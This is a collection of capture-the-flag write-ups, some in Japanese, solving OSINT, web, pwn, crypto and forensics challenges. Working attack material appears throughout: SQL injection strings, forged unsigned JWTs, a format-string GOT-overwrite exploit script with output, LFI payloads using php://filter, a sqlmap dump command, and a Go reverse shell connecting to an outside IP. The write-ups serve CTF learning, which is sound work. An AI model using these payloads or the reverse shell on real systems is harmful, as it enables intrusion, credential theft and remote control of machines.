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# Tree Man:OSINT:300ptsI'm so glad we've got you on the team; I don't think we'd have manged to get that last one if it weren't for you. We've been watching the account, and the target just posted another image. This guy really doesn't learn. We don't think he's left Spain yet, but we really need this one pinpointed exactly. Can you work where he took this? The map here should be accurate to 50 meters.  [hires.png](hires.png)
# SolutionOSINT問題のようだ。 地図上の座標を特定してやればよいが50mとかなりシビア。 画像検索してみるが全く出てこない。 そのため語句検索に切り替える。 tree man blue eyesで以下を発見できる。 GoogleImages [Gis.png](images/Gis.png) PortAventura in HDRのようだが正確な場所がわからない。 画像から、水辺、雑草が生えている岸、桟橋のような床であることがわかる。 GoogleマップでPortAventura in HDRに行き航空写真を見る。 この場所(遊園地)の近くの水辺はプールか池しかない。 プールには雑草が生えないので池に絞ることができる。 あとは床を探せばよい。 GoogleMaps [Gms.png](images/Gms.png) 像がないが床が一致した。 41.0858496,1.1545298ここのようだ。
## 41.0858496,1.1545298 |
# Insert witty name:Web:200ptsChallenge instance ready at 95.216.233.106:16292. Having access to the site's source would be really useful, but we don't know how we could get it. All we know is that the site runs python.
# Solutionアクセスするとログインフォームが見える。 Login [site.png](../Entrypoint/site/site.png) usernameに`'`を入力すると以下のようなエラーが出た。 ```pythonTraceback (most recent call last): File "/srv/raro/main.py", line 132, in index cur.execute("SELECT algo FROM users WHERE username='{}'".format(sqlite3.OperationalError: unrecognized token: "'''"```main.pyが動いているようだ。 ソースを確認すると、以下のような記述があった。 ```html~~~ <link href="https://fonts.googleapis.com/css?family=Nanum+Gothic:400,700&display=swap" rel="stylesheet"> <link rel="stylesheet" href="/static?f=index.css">
<title>Login</title>~~~ ~~~```main.pyをhttp://95.216.233.106:16292/static?f=main.py に読み取りにいく。 ```python:main.pyfrom application import mainimport sys
# ractf{d3velopersM4keM1stake5}
if __name__ == "__main__": main(*sys.argv)
```コメントにflagが書かれていた。
## ractf{d3velopersM4keM1stake5} |
# Really Awesome CTF 2020
## Not Really AI
> 200>> Challenge instance ready at `88.198.219.20:17119`>> Exploit the service to get the flag.>> Author: Ironstone>> [`nra`](nra)
Tags: _pwn_ _x86_ _got_ _format-string_
## Summary
Format-string vulnerability -> control execution with a simple GOT exploit.
## Analysis
### Checksec
``` Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments```
No mitigations in place.
### Decompile with Ghidra
Two functions of interest, `response` and `flaggy`:
```cvoid response(void)
{ char local_20c [516]; puts("How are you finding RACTF?"); fgets(local_20c,0x200,stdin); puts("I am glad you"); printf(local_20c); puts("\nWe hope you keep going!"); return;}```
With no mitigations in place, various `printf` format-string exploits are possible, the simplest is to replace the `puts` GOT entry with `flaggy`, then instead of `puts("\nWe hope you keep going!");`, you get:
```cvoid flaggy(void)
{ int iVar1; iVar1 = __x86.get_pc_thunk.ax(); system((char *)(iVar1 + 0xdf9)); return;}```
`flaggy` calls `system` with an parameter of `iVar1 + 0xdf9`. To figure out what that actually is, take the address after `iVar1 = __x86.get_pc_thunk.ax();` and add `0xdf9` to it:
``` 0804924c e8 9a 00 00 00 CALL __x86.get_pc_thunk.ax 08049251 05 af 2d 00 00 ADD EAX,0x2daf```
`0x8049251` + `0xdf9` = `0x804a04a`. Then look at that address in the disassembly:
``` 0804a04a 63 61 74 ds "cat flag.txt" 20 66 6c 61 67 2e ```
So, `system("cat flag.txt")`.
## Exploit
```#!/usr/bin/python3
from pwn import *
#p = process('./nra')p = remote('88.198.219.20',61933)binary = ELF('./nra')
p.recvuntil('How are you finding RACTF?')p.sendline(fmtstr_payload(4,{binary.got['puts']:binary.symbols['flaggy']}))p.recvline()p.recvline()p.recvline()_ = p.recvline().decode().strip()print(_)```
Using the pwntools fmtstr functions, update the GOT `puts` entry with the address of `flaggy`.
The first parameter to `fmtstr_payload` is the offset; you can find this with GDB or with a simple script like this:
```#!/usr/bin/python3
from pwn import *
def scanit(t): p = process('./nra') #p = remote('pwn.hsctf.com', 5004) p.recvuntil('How are you finding RACTF?') p.sendline(t) p.recvuntil('I am glad you\n') _ = p.recvline().strip() p.close() return _
for i in range(1,20): t = '%' + str(i).rjust(2,'0') + '$010p' _ = scanit(t) print(i,_) if _.find(b'0x') >= 0: s = bytes.fromhex(_[2:].decode())[::-1] if s == t[:4].encode(): print('offset:',i) break
# ./offset.py | grep -v ]1 b'0x00000200'2 b'0xf7f5a580'3 b'0x080491d1'4 b'0x24343025'offset: 4```
> You could probably just combine the two scripts to fully automate this.
Exploit output:
```# ./exploit.py[+] Opening connection to 88.198.219.20 on port 61933: Done[*] '/pwd/datajerk/ractf2020/nra/nra' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segmentsractf{f0rmat_Str1nG_fuN}```
|
# Suspended Belief:OSINT:350ptsAmazing work with that last image! We dispatched a team right away, but it seems our target was one step ahead of us. We're not sure what they're planning, but we managed to download one final image off the Instagram account until they locked it down. Can you work out where this picture was taken? One of the guys thought it might have been Queensferry crossing, but that doesn't look right. You'll have to be accurate to within 2 kilometres.  [hires.jpg](hires.jpg)
# SolutionOSINT問題のようだ。 地図上の座標を特定してやればよい。 Google画像検索を行うと(cable-stayed bridge)と認識される。 橋が二本あり、メインの柱のてっぺんは金色か黄色、もう一つは柱がはしご状の形をしているものを探す。 GoogleImages [Gis.png](images/Gis.png) Ting Kau Bridgeがヒットした。 Google画像検索やGoogleマップで確認すると正解のようだ。 後は橋の角度を計算して、立っている位置を求めればよい。 GoogleMaps [Gms.png](images/Gms.png) 22.3726907,114.0826406ここのようだ。
## 22.3726907,114.0826406 |
### Randomization 1
#### Question
>Alice, Bob, and Carol are really close friends; in fact, they are so close, they even share the same primes in their RSA public keys! Alice has N = P*Q, Bob has N = QR, and Carol has N = PR, where P,Q,R are 1024 bit primes. All three also use the same public exponent e = 65537. Can you recover the three ciphertexts?
**File Attached**:rand1### Answer It was simple RSA with some Maths.
Then multiplying all three
%5E2%24)
%7D%7D%7BN1%7D%24)
%7D%7D%7BN2%7D%24)
%7D%7D%7BN3%7D%24)
Once we have P, Q and R we will do standard RSA decryption for each of them, You can refer to the John Hammond [video]([https://www.youtube.com/watch?v=_lg2AEqRTjg](https://www.youtube.com/watch?v=_lg2AEqRTjg)) where he shows how he breaks a simple RSA.
```pythonfrom sympy import *from Crypto.Util.number import *
def value(n): return (bytes.fromhex(hex(n)[2:])).decode('ASCII')
N1 = 3895738302299059518129198422310169628530536557191890566210939781698372336257482186582163630847612416277492034959243510457939210010336159061758606919109259916143600981918456942199762738624796190838889500238780675229383463267807384154074134251073572174392024892486431125499446924573006208711810847272390619510395812856188247531815920797526102562723333957594242603466996229335924848954210939152042149332307810693239925149256224795031982752752336401872520016106145667479144091130160998875256860809091721275069193773739370057334041922519998813268278574260846083883264261920589114740823464192397850923545998904365370408113#n1 = p*qN2 = 3036683903819675505741091164945461947189004916494633766372176282409409694958701211748277050499101511956962003835932755555293255586827283990400451317444723234406968971873530093281591689832798646915816609347861047534121792409030834659241904646743453387504496246791081682741245482378149293399372654558929658582070853972454887854658545741800574343930155288517185535533201220281739954820271979667081052363406511938025061398551356675540358212449132781674832812796443378476387659729623581274433769056775163718782871879747276327458473970177451591251859530403032170215968101310739004163533767679394201611410832974546802038041#n2 = q*rN3 = 4793455677299549137382284585015750073239112414361680529255951318217960300841340399094743130287927996565298160174555422185410320841942637374406558835150138631140265626020072464652973386772727192540062051929655235552439145036105501434801984612127808829810146844869487529177642676245549299371487478280457673839725488195812744535928488844735950540356920273038857127652414836352483913807655170699520816765863272825856765769043174406026964068017257738085400965661973681558654658747878342173984592411085018242201038877382766239487564503728442821348064764166024851080258629751476765613997512620274759264076272801682962144457#n3 = r*pE = 65537C1 = 396708474546125804352894757436683688457291028695044217325853929491171136935487190613513217479209066321213697066977005912522338337419604329864854419961723570625025089500459612736934675744115710978556346050350466970024450696226499749911198313775828281699871502987873199226066403667788132060336882800770615332190939846610876881382430101512212915247532319827304296610854802037475047119525110795533529161852951539770153761419387662527094415537933400873451490021233979268224054475360645920086811082803271848565851436058022797610887635287190533293980480191482625531855511415716253479184799509403767653927424232672209598509C2 = 355006513750551550798931713354683491263062473879176656452255051848683497534660576981575518851351256702360823676609578259232763677292692743319345273559085724516350773319337226043634439282120083618718026203533033564167432280901197175559735572797382863132012675404876908914335941746393221402727788260354881773319480220225939283398326940847106630716629330817737251316474369640273632208347751866683363389016722969822345738247486942531821199790024647950924227337611907877819668593060172268197128413003269501597578146759488894526193598933152416894414296396043283131502951693668167550687432080480619240585408701379144341703C3 = 924835278307680480966328618545268895077532556525413716080960421925985654497130329688156219485942736928562517552888163928270855659413958949301590302010862666331053838345196518237383846281768395909801043955047640003147798786793258813501366000503338638933238548605016169865688228297750780710248359326295693845663887055907900967535999885217905972006140096240831305484619796964713673839223632057905454213937054336962510051529266336629730913756688411854427999570223208667606703681762027957427028839409594591627448224813082072169775916331655060221445546199171668136050686471357710989346885039441000083764142021784018773006
pdt = root(N1*N2*N3, 2) # pqr
r = pdt//N1p = pdt//N2q = pdt//N3
ph1 = (p-1)*(q-1)ph2 = (q-1)*(r-1)ph3 = (r-1)*(p-1)
d1 = inverse(E, ph1)d2 = inverse(E, ph2)d3 = inverse(E, ph3)
res1 = pow(C1, int(d1), N1)res2 = pow(C2, int(d2), N2)res3 = pow(C3, int(d3), N3)
print(value(res1), end="")print(value(res2), end="")print(value(res3))
```
On running the script you will get the flag: **flag**: ```flag{n0_0n3_3xp3ct5_th3_sp4nish_inquisiti0n!``` |
# Dead Man:OSINT:350ptsAargh! They gave us the slip again. We got another image from their Twitter, but it doesn't look like they're in the same country anymore. Are you able to track them down again for us and tell us the town they're in? You're our best man at this point, so we're expecting great things. Our map here should be accurate to 500 meters.  [hires.jpg](hires.jpg)
# SolutionOSINT問題のようだ。 地図上の座標を特定してやればよい。 画像検索してみるが全く出てこない。 そのため語句検索に切り替える。 画像を拡大するとアジア圏の文字が見える。 cross of sacrifice cemetery asiaでKanchanaburi War Cemeteryを発見できる。 GoogleImages [Gis.png](images/Gis.png) https://en.wikipedia.org/wiki/Kanchanaburi_War_Cemetery GoogleマップでKanchanaburi War Cemeteryに行き十字架を見つける。 GoogleMaps [Gms.png](images/Gms.png) 14.031636,99.525013ここのようだ。
## 14.031636,99.525013 |
# RAirways:OSINT:200ptsAgent. We found a target posting strange images of boarding passes to his Instagram. None of the guys at base can figure it out, but we think he's been using the images to exfiltrate data. We've attached a high-quality version of the image below, here's the one from his Instagram:  [original.jpg](original.jpg)
# SolutionOSINT問題のようだ。 フラグがどこかに隠されているようだが、明らかにバーコードが怪しい。 しかしこのバーコードを見たことがないため、海外 バーコード 種類で検索すると以下が見つかる。 [対応しているバーコードの種類](https://docs.grapecity.com/help/pluspak-winforms-8/GcBarCode_BarCodeType.html) PDF417のようだ。 [PDF417 barcode scanner](https://play.google.com/store/apps/details?id=mobi.pdf417)で読み取るとflagが入っていた。
## ractf{B0ard1ngP4ssD4t4} |
# Quarantine:Web:200ptsChallenge instance ready at 95.216.233.106:22888. See if you can get access to an account on the webapp.
# SolutionアクセスするとSign inとSign upがあるが、Sign upは現在停止しているようだ。 RAQE [site.png](../Quarantine_-_Hidden_information/site/site.png) Sign inを試みる。 Login [site1.png](site/site1.png) Passwordに`'`を入力(Usernameは空)してみると、Internal Server Errorを引き起こせた。 SQLインジェクションが行えそうだ。 `t' OR 't' = 't`をPasswordに設定したところ以下のようにAttempting to login as more than one user!??と怒られた。 Login(more than one user) [site2.png](site/site2.png) userを制限してやれば良いため、`t' OR LENGTH(username) = 5 --`とする(adminが5文字なのだがユーザはadminではなかったようだ)。 ログイン成功するとflagがあった。 flag [flag.png](site/flag.png)
## ractf{Y0u_B3tt3r_N0t_h4v3_us3d_sqlm4p} |
# Reading Between the Lines:Misc:300ptsWe found a strange file knocking around, but I've got no idea who wrote it because the indentation's an absolute mess! [main.c](main.c)
# Solutionmain.cは誰が見てもC言語のソースファイルだが、日本人は行間を読むのが得意なので違う言語に読める。 ホワイトスペースだ。 [Whitespace Interpreter](https://naokikp.github.io/wsi/whitespace.html)を使うとflagが得られる。 flag [flag.png](flag.png)
## ractf{R34d1ngBetw33nChar4ct3r5} |
# Rap God
We are given a [mp3 file](BigYAudio.mp3).
You can use [sonic visualizer](https://sonicvisualiser.org/) to view the second channel in spectrogram view. All you have to do is decode the wing dings to get the flag.
Flag: `tjctf{quicksonic}` |
# Getting admin:Web:300ptsChallenge instance ready at 95.216.233.106:36245. See if you can get an admin account.
# SolutionアクセスするとSign inとSign upがあるが、Sign upは現在停止しているようだ。 RAQE [site.png](../Quarantine_-_Hidden_information/site/site.png) Sign inを試みる。 Login [site1.png](../Quarantine/site/site1.png) Passwordに`'`を入力(Usernameは空)してみると、Internal Server Errorを引き起こせた。 SQLインジェクションが行えそうだ。 `t' OR 't' = 't`をPasswordに設定したところ以下のようにAttempting to login as more than one user!??と怒られた。 Login(more than one user) [site2.png](../Quarantine/site/site2.png) userを制限してやれば良いため、`t' OR LENGTH(username) = 5 --`とする。 ログイン成功したが、adminではないためAdminリンクには飛べない。 Three videos avaliable [site3.png](../Quarantine/site/flag.png) ここでクッキーを見てみると以下のJWTが入っていた。 ```texteyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogIkhhcnJ5IiwgInByaXZpbGVnZSI6IDF9.A7OHDo-b3PB5XONTRuTYq6jm2Ab8iaT353oc-VPPNMU```JWTだ。 [JSON Web Tokens - jwt.io](https://jwt.io)で中身を見ると以下のようであった。 HEADER:ALGORITHM & TOKEN TYPE ```json{ "typ": "JWT", "alg": "HS256"}```PAYLOAD:DATA ```json{ "user": "Harry", "privilege": 1}```userをAdminとするかprivilegeを0か2にしてみれば良いようだが署名をどうにかする必要がある。 [The JSON Web Token Toolkit](https://github.com/ticarpi/jwt_tool)を使ってnoneが通るか確認する。 一部の出力は省略する。 ```bash$ python jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogIkhhcnJ5IiwgInByaXZpbGVnZSI6IDF9.A7OHDo-b3PB5XONTRuTYq6jm2Ab8iaT353oc-VPPNMU> 2~~~"alg": "None":eyJ0eXAiOiJKV1QiLCJhbGciOiJOb25lIn0.eyJ1c2VyIjoiSGFycnkiLCJwcml2aWxlZ2UiOjF9.
"alg": "NONE":eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0.eyJ1c2VyIjoiSGFycnkiLCJwcml2aWxlZ2UiOjF9.
"alg": "nOnE":eyJ0eXAiOiJKV1QiLCJhbGciOiJuT25FIn0.eyJ1c2VyIjoiSGFycnkiLCJwcml2aWxlZ2UiOjF9.~~~````eyJ0eXAiOiJKV1QiLCJhbGciOiJOb25lIn0.eyJ1c2VyIjoiSGFycnkiLCJwcml2aWxlZ2UiOjF9.`をセットしても問題ないようだ。 よってJWTを任意のものに改竄し、署名無しにすればよい。 一部の出力は省略する。 ```bash$ python jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogIkhhcnJ5IiwgInByaXZpbGVnZSI6IDF9.A7OHDo-b3PB5XONTRuTYq6jm2Ab8iaT353oc-VPPNMU> 1> 2> none> 0> 2> 2[1] user = "Harry"[2] privilege = 2[3] *ADD A VALUE*[4] *DELETE A VALUE*[0] Continue to next step>0> 3~~~Your new forged token:"alg": "none":eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VyIjoiSGFycnkiLCJwcml2aWxlZ2UiOjJ9.
====================================================================Some variants, which may work on some JWT libraries:
"alg": "None":eyJ0eXAiOiJKV1QiLCJhbGciOiJOb25lIn0.eyJ1c2VyIjoiSGFycnkiLCJwcml2aWxlZ2UiOjJ9.
"alg": "NONE":eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0.eyJ1c2VyIjoiSGFycnkiLCJwcml2aWxlZ2UiOjJ9.
"alg": "nOnE":eyJ0eXAiOiJKV1QiLCJhbGciOiJuT25FIn0.eyJ1c2VyIjoiSGFycnkiLCJwcml2aWxlZ2UiOjJ9.====================================================================```結局privilegeを2とするのが正解だった。 `eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VyIjoiSGFycnkiLCJwcml2aWxlZ2UiOjJ9.`をセットしてAdminに飛ぶとflagが得られる。 flag [flag.png](site/flag.png)
## ractf{j4va5cr1pt_w3b_t0ken} |
# Cybercastors writeups for team bootplug
# Misc## Password crack 3```7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12
This one needs to be in the flag format first...```
The solution here was to use a custom ruleset with hashcat, that applied the flag format to all password candidates: `^{^F^T^C^s^r^o^t^s^a^c$}`. Running rockyou.txt with this rule, produced the solution:`7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12:castorsCTF{theformat!}`## Pitfall```sylv3on_ was visiting cybercastors island and thought it'd be funny to bury the flag.txt. Can you help us DIG it out?```
```$ dig -t TXT cybercastors.com
; <<>> DiG 9.11.9 <<>> -t TXT cybercastors.com...;; ANSWER SECTION:cybercastors.com. 299 IN TXT "v=spf1 include:_spf.google.com ~all"cybercastors.com. 299 IN TXT "flag=castorsCTF{L00K_1_DuG_uP_4_fL4g_464C4147}"```## To plant a seed```Did you know flags grow on trees? Apparently if you water them a specific amount each day the tree will grow into a flag! The tree can only grow up to a byte each day. I planted my seed on Fri 29 May 2020 20:00:00 GMT. Just mix the amount of water in the list with the tree for 6 weeks and watch it grow!```A file with the following sequence was provided:```Watering Pattern: 150 2 103 102 192 216 52 128 9 144 10 201 209 226 22 10 80 5 102 195 23 71 77 63 111 116 219 22 113 89 187 232 198 53 146 112 119 209 64 79 236 179```
Guessing that this is about PRNG seeds, and the pattern is a flag XORed with the output, we need to find a PRNG that, when seeded with the given date, outputs numbers such that `150 ^ random_1 = 'c'` and `2 ^ random_2 = 'a'`, etc. After trying a few variants, like libc and different versions of Python, and testing ways to mask the output to 8-bit numbers, I figured out that they used Python3 and `random.randint(0,255)`.
```pythonimport randomrandom.seed(1590782400)
nums = [150,2,103,102,192,216,52,128,9,144,10,201,209,226,22,10,80,5,102,195,23,71,77,63,111,116,219,22,113,89,187,232,198,53,146,112,119,209,64,79,236,179]
print(''.join(chr(e ^ random.randint(0,255)) for e in nums))# castorsCTF{d0n7_f0rg37_t0_73nd_y0ur_s33ds}```
# Coding## Arithmetics```pythonfrom pwn import *
r = remote("chals20.cybercastors.com", 14429)r.sendlineafter("ready.\n", "")
lookup = {"one":"1", "two":"2", "three":"3", "four":"4", "five":"5", "six":"6", "seven":"7", "eight":"8", "nine": "9", "minus":"-", "plus":"+", "multiplied-by":"*", "divided-by":"//"}
for count in range(100): q = r.recvline() print(count, q) _, _, a, op, b, _ = q.split(" ") if a in lookup: a = lookup[a] if b in lookup: b = lookup[b] if op in lookup: op = lookup[op]
r.sendline(str(eval(a+op+b))) print r.recvline() count += 1
r.interactive()```## Base Runner
Saw that it was binary -> octal -> hex -> base64.Just built upon an ugly one liner in python and pwntools, looped it 50 times and got the flag ```pythonfrom pwn import *from base64 import b64decode
r = remote("chals20.cybercastors.com",14430)
r.recvuntil("ready.")r.sendline("\n")r.recvline()
for i in range(50): r.sendline(b64decode("".join([chr(int(nnn,16)) for nnn in "".join([chr(int(nn,8)) for nn in "".join([chr(int(n,2)) for n in r.recvline().decode().strip().split(" ")]).split(" ")]).split(" ")])).decode()) print(r.recvline())
r.interactive()```## Flag GodsThe service asks us to provide the hamming distance between a string and some hexadecimal output. This is easily accomplished by decoding the hex string, then bitwise XORing the strings, and counting the number of "1" bits in the result.
```pythonfrom pwn import *from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
r = remote("chals20.cybercastors.com", 14431)r.sendline("")
for iteration in range(80): _ = r.recvuntil("Transmitted message: ") m1 = r.recvline().rstrip() _ = r.recvuntil("Received message: ") m2 = r.recvline().rstrip().decode('hex') hamming = bin(b2l(xor(m1,m2))).count("1") r.sendline(str(hamming))
if iteration == 79: break
print iteration print r.recvline() print r.recvline()
r.interactive()```## Glitchity GlitchAfter randomly trying a few options in the menu, I found a sequence that led to infinite selling. Instead of figuring out the bugs, or trying to optimize it any further, I just looped until I had enough money to buy the flag.
```pythonfrom pwn import *
context.log_level = "debug"
r = remote("chals20.cybercastors.com", 14432)
r.sendlineafter("Choice: ","1")r.sendlineafter("Choice: ","2")r.sendlineafter("Choice: ","3")r.sendlineafter("Choice: ","6")
for _ in range(6000//20): r.sendlineafter("Choice: ", "0") r.sendlineafter("Choice: ", "1")
r.sendline("5") # castorsCTF{$imPl3_sTUph_3h?}
r.interactive()```
# Forensics
## LeftoversThis is HID data, but with a slight twist where multiple keys are being sent in the same packet. First we extract all the HID data packets.
`tshark -r interrupts.pcapng -T fields -e usb.capdata > usbdata.txt`
Some manual cleanup is required afterwards; namely deleting blank lines and deleting metadata PDUs (which have a different length).
After this, you just run your run-of-the-mill HID parser, just to see that it doesn't support Caps Lock, and assumes only one key is arriving at any point. Adding caps-lock support, I'm left with
`what dooyoo thhnng yyuu will ffnnn herr? thhss? csstossCTF{1stiswhatyoowant}`
and these letters that are pressed, but couldn't be merged with the earlier output: `uuuiiioooiiiddeeiiiaarruu`. Through manual comparison of the provided strings, and filtering out some double letters, it's clear that the flag must be `castorsCTF{1stiswhatyouwant}`.
## ManipulationThe challenge has a .jpg file, but the contents are actually output from `xxd`. The first line is also moved to the bottom. We can undo this by moving the last line to the top, using a text editor, then running `xxd -r` on the file. This produces a valid JPG file with two flags on it. The last flag was the correct one.
## Father Taurus Kernel Import!Loaded dump into Autopsy, let it scan. Found a deleted file `Secrets/_lag.txt` (originally flag.txt?) with contents`Y2FzdG9yc0NURntmMHIzbnMxY1NfbHNfSVRzXzBXbl9iMFNTfQ==`, which after base64 decoding becomes `castorsCTF{f0r3ns1cS_ls_ITs_0Wn_b0SS}`.
# General
# Web
## Bane ArtThis challenge has a very obvious LFI vulnerability, and php wrappers are enabled. After some probing around, reading files with`http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=<FILENAME>`and abusing `/proc/self/fd/7` as a semi-RCE, we find the flag located at`/home/falg/flag/test/why/the/hassle/right/flag.txt`.
Final payload is then `http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=/home/falg/flag/test/why/the/hassle/right/flag.txt`
`castorsCTF{w3lc0m3_2_D4_s0urc3_YoUng_Ju4n}`
## ShortcutsSaw you could upload your own shortcuts, however if you uploaded `<filename>` and clicked it, the webapp tried to `go run <filename>.go`. I circumvented this by just uploading `<filename>` and `<filename>.go` to the shortcuts app with the same content, then clicking the `<filename>` link.
the go code I uploaded was some sample rev-shell code from pentestmonkey.```gopackage main
import ( "net" "os/exec" "time")
func main() { reverse("167.99.202.x:8080")}
func reverse(host string) { c, err := net.Dial("tcp", host) if nil != err { if nil != c { c.Close() } time.Sleep(time.Minute) reverse(host) }
cmd := exec.Command("/bin/sh") cmd.Stdin, cmd.Stdout, cmd.Stderr = c, c, c cmd.Run() c.Close() reverse(host)}```
After that I found the flag in /home/tom/flag.txt
## QuizSaw a simple quiz app, apparently written in Go. Tried lots of stuff with the questionaire, could provoke a strconv error when setting question number to something that was not a number, but nothing else interesting.
After some directory brute forcing we found /backup/, giving us the soruce code.
### Function & routes```go mux := httprouter.New()
mux.GET("/", index) mux.GET("/test/:directory/:theme/:whynot", super) mux.GET("/problems/math", math) mux.POST("/problems/math", mathCheck)
//Remember to Delete mux.GET("/backup/", backup)``````gofunc super(w http.ResponseWriter, req *http.Request, ps httprouter.Params) { fmt.Println(ps.ByName("whynot")) var file string = "/" + ps.ByName("directory") + "/" + ps.ByName("theme") + "/" + ps.ByName("whynot") test, err := os.Open(file) handleError(w, err) defer test.Close()
scanner := bufio.NewScanner(test) var content string for scanner.Scan() { content = scanner.Text() }
fmt.Fprintf(w, "Directories: %s/%s\n", ps.ByName("directory"), ps.ByName("theme")) fmt.Fprintf(w, "File: %s\n", ps.ByName("whynot")) fmt.Fprintf(w, "Contents: %s\n", content)}```After inspecting the source code we see that the super function gives us LFI, but only the last line in the file we want to view.
We tried alot of stuff, including viewing the .csv files, different files in /proc, until we finally looked at the description hinting to the name jeff.
```bashcurl --path-as-is -g 'http://web1.cybercastors.com:14436/test/home/jeff/flag.txt' -o -Directories: home/jeffFile: flag.txtContents: castorsCTC{wh0_l4iks_qUiZZ3s_4nyW4y}```
## Car LotteryWe're presented with a website that says you need to be visitor number N, for some large number N, in order to buy a car. Inspecting the requests, it's clear that this is set through cookies, and we can gain access by setting the cookie `client=3123248`. This allows us to browse the cars, by querying for data. Probing around here a bit, reveals an SQLi vulnerability in the lookup. We dump the entire database with this.
`python sqlmap.py -o -u "http://web1.cybercastors.com:14435/search" --data "id=1" --cookie="client=3123248" --dump-all`
Inspecting the data, there's a table called `Users` with the following contents:
```Username,Password[email protected],cf9ee5bcb36b4936dd7064ee9b2f139e[email protected],fe87c92e83ff6523d677b7fd36c3252d[email protected],d1833805515fc34b46c2b9de553f599d[email protected],77004ea213d5fc71acf74a8c9c6795fb```
Which are easily cracked
```cf9ee5bcb36b4936dd7064ee9b2f139e:naruto fe87c92e83ff6523d677b7fd36c3252d:powerpuffd1833805515fc34b46c2b9de553f599d:pancakes77004ea213d5fc71acf74a8c9c6795fb:fun```
Here we got stuck for a while, until an admin hinted towards scanning for endpoints. This gave us `http://web1.cybercastors.com:14435/dealer`, where we could use the credentials above to log in and get the flag.
`castorCTF{daT4B_3n4m_1s_fuN_N_p0w3rfu7}`## Mixed FeelingsFound some commented out "php" code.
```php if(isset($file)) { if ($user == falling_down_a_rabit_hole) { exit()? } else { go to .flagkindsir }}```
http://web1.cybercastors.com:14439/.flagkindsir
Found this link
When we click the buttons it posts cookies=cookies or puppies=puppies.
So we tried flags=flags, then on a whim cookies=flag, and it worked.
```bashcurl 'http://web1.cybercastors.com:14439/.flagkindsir' --data-raw "cookies=flag"```
# Crypto## One Trick Ponyjust OTP where the flag is the key. so just input some known plaintext and get encrypted text. ```bash➜ Mixed Feelings echo -n "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" | nc chals20.cybercastors.com 14422
> b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13'```Then XOR the encrypted text with the known plaintext.```python>>> from pwn import xor>>> xor("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13')b'cstorsCTF{k33p_y0ur_k3y5_53crcstorsCTF{k33p_y0'```
## Magic School BusHere we're presented with a service that serves up a scrambled flag, and can scramble arbitrary inputs. There's two ways to solve this: modify the input until its scrambled output matches the flag output, or figure out the scramble. We figured out the scramble indexes by scrambling strings like "BAAA...", "ABAA..." and noting where the 'B' ended up each time. Then applied this in reverse to the scrambled flag.
```pythonfrom pwn import *
lookup = []flag_len = 46
r = remote("chals20.cybercastors.com", 14421)
for i in range(flag_len): s = list("A"*flag_len) s[i] = "B" s = ''.join(s) r.sendline("1") _ = r.recv() r.sendlineafter("Who's riding the bus?: ", s) resp = r.recvline().strip().split()[2] lookup.append(resp.index("B"))
# lookup = [11, 23, 17, 5, 34, 40, 0, 29, 12, 24, 18, 6, 35, 41, 1, 30, 13, 25, 19, 7, 36, 42, 2, 31, 14, 26, 20, 8, 37, 43, 3, 32, 15, 27, 21, 9, 38, 44, 4, 33, 16, 28, 22, 10, 39, 45]
assert sorted(lookup) == range(flag_len)
r.sendline("2")r.recvuntil("Flag bus seating: ")flag = r.recvline()print flag # SNESYT3AYN1CTISL7SRS31RAFSKV3C4I0SOCNTGER0COM5
final_flag = [None] * flag_lenfor i in range(flag_len): final_flag[i] = flag[lookup[i]]
print(''.join(final_flag))```
Adding underscores we get `CASTORSCTF{R3C0N4ISSANCE_IS_K3Y_TO_S0LV1NG_MYS73R1E5}`
## WarmupSimple math, using the formulas`a=p+q, b=p-q, a^2+b^2=c^2, A=a*b/2`we end up with an equation for q and p alone, e.g.`2*q^2 = (c^2)/2 - A/2`
However, the `c` variable we've been given, is actually `c^2`, so the results were strange at first. After figuring this out, we can calculate p and q to decrypt the flag.
```pythonp = gmpy2.iroot(((c) // 4) - A, 2)[0]q = gmpy2.iroot(((c) // 4) + A, 2)[0]d = gmpy2.invert(e, (p-1)*(q-1))m = pow(enc, d, p*q)# castorsCTF{n0th1ng_l1k3_pr1m3_numb3r5_t0_w4rm_up_7h3_3ng1n3s}```
## Two PathsInside the image, there's some binary code that sends us off to `https://ctf-emoji-cipher.s3.amazonaws.com/decode_this.html`. And inside one of the color planes, we see a link sending us to `https://ctf-emoji-cipher.s3.amazonaws.com/text_cipher.htm`. I assume these are the two paths.
The first page has a ton of emojis, intersped with symbols like `_{},.!`. Removing all non-emojis, we see that there's 26 unique emojis, so it's likely a mapping to the English alphabet. Doing some basic tests does not reveal a probable mapping though, so it's likely some gibberish in the text. However, the second URL shows a message log between two persons, where one is speaking with text and the other in emoji. From the inital few sentences, we can guess that the emoji man is saying "hi" and "all good, you?". Using these translations lets us guess more and more letter mappings, until we have the entire text recovered.
```congratulations!_if_you_can_read_this,_then_you_have_solved_the_cipher!_we_just_hope_you_found_a_more_efficient_way_for_deciphering_than_going_one_by_one_or_else_you_won't_get_through_the_next_part_very_quickly._maybe_try_being_a_little_more_lazy!```
This text block is followed by a ton of flag-looking strings, where only one of them is the actual flag. This is why statistical tests failed to automatically decrypt this.
